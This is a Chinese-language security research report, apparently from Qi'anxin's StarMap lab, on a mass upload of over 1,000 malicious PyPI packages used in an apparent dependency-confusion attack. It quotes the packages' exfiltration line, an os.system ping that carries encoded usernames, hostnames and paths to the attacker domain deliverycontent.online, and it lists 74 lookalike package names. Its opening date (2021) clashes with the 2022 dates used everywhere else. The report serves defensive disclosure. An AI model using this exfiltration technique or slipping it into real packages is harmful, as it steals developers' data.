【天问】快闪攻击:PyPI上闪现1000+恶意包
/ / 点击 / 阅读耗时 5 分钟2021年1月24日,奇安信技术研究院星图实验室自研的天问软件供应链安全分析平台Python供应链威胁监测模块捕获到一批可疑的包,根据天穹沙箱的分析结果,这些包均访问可疑域名deliverycontent[.]online。在捕获到这些可疑的包后,我们立马开展了对其的分析,定位到了这次上传包数量超过1000的“快闪攻击”。
这些包的上传者均为 arturlebedev,作者刻意省略了其邮箱等敏感信息,账号注册于2022年1月20日,自20日以来该作者的活动如下图所示。

攻击者于2022年1月20日上传了111个测试包,这些包的名称为super-package*或tetrfog*(*指代常数),这一批测试包并没有实际攻击行为,其仅在用户import时向终端输出“malicious”字样。这种攻击形式的目标更像是开发者及自动化构建系统。

攻击者于北京时间2022年1月23日晚9时许上传了3个测试包,在发现PyPI没有发现并移除这三个包后,自2022年1月24日4时开始批量上传恶意包,由于每个包上传时间间隔均为2-3秒,我们推测攻击者应该是通过自动化脚本批量上传。批量上传一直持续到早上6点30分,此次共计上传了1161个包,这些包的恶意行为均是在窃取了用户名、计算机名、执行路径后,通过base64编码,回传至deliverycontent[.]online,形如:
1 | r = os.system("ping f8a0362476c7361533177597a7479623239304f32706c64474a76644638784c.sub.deliverycontent.online") |
经过分析,我们发现这1275个包内仅有74个包和常用包的包名高度相似,所以可以排除其批量typosquat攻击的意图。但是我们发现其中大部分包均在github上有同名的python项目,我们推测这应该是一次类Alex Birsan “依赖混淆”的攻击行为,通过批量上传与github项目同名的python包,当用户安装、引用这些包时达到窃取敏感信息并回传的目的。
攻击者于北京时间2022年1月24日晚8点14分开始批量移除其恶意包,耗时5分钟将所有包移除。目前其在PyPI上上传的恶意包均已被删除。我们将继续关注攻击者的动向。
如下是与常用包的包名高度相似的74个恶意包,如需要完整列表请联系我们。
| 恶意包 | 常用包 |
|---|---|
| xcryptography | cryptography |
| xeth-utils | eth-utils |
| xweb3 | web3 |
| xwheel | wheel |
| xgevent | gevent |
| xkeyring | keyring |
| xzeep | zeep |
| bqlmetadata | sql-metadata |
| xjsonschema | jsonschema |
| zdiff | ydiff |
| bql | gql |
| platformlibs | platformdirs |
| ximportlib-metadata | importlib-metadata |
| xsetuptools | setuptools |
| xeth-abi | eth-abi |
| xeth-account | eth-account |
| mplpy | amplpy |
| xpyinstaller | pyinstaller |
| sonify | jsonify |
| xlz4 | lz4 |
| jconv | jaconv |
| xpypsrp | pypsrp |
| xpyopencl | pyopencl |
| xpip | pip |
| dpp | app |
| xgoogle-cloud-core | google-cloud-core |
| xcoincurve | coincurve |
| xfirebase-admin | firebase-admin |
| harkpython | hap-python |
| xnbconvert | nbconvert |
| flic | flit |
| xaltgraph | altgraph |
| pyeemd | pyemd |
| lisa-profiler | line-profiler |
| rmock | mock |
| xmsgpack-python | msgpack-python |
| annpy | annoy |
| xvarint | varint |
| xprettytable | prettytable |
| xwsaccel | wsaccel |
| xcytoolz | cytoolz |
| xgoogle-api-core | google-api-core |
| pyspark-pytest | pyspark-test |
| xjira | jira |
| xgoogle-cloud-storage | google-cloud-storage |
| svn-python | ssh-python |
| pcclient | ncclient |
| xpycountry | pycountry |
| xgoogle-cloud-firestore | google-cloud-firestore |
| dbxml | dexml |
| pykna | pyknp |
| xpyppeteer | pyppeteer |
| xhumanize | humanize |
| bqprogress | progress |
| recpy | ecpy |
| xsqlalchemy-migrate | sqlalchemy-migrate |
| cppex | cplex |
| xbitarray | bitarray |
| xstem | stem |
| xparsimonious | parsimonious |
| xsix | six |
| caser | case |
| xlru-dict | lru-dict |
| xgcloud | gcloud |
| xb2sdk | b2sdk |
| dlopt | nlopt |
| bfac | kfac |
| wnn | mnn |
| pyperties | properties |
| xpromise | promise |
| xeth-keyfile | eth-keyfile |
| ximpacket | impacket |
| evtk | vtk |
| backtradercn | backtrader |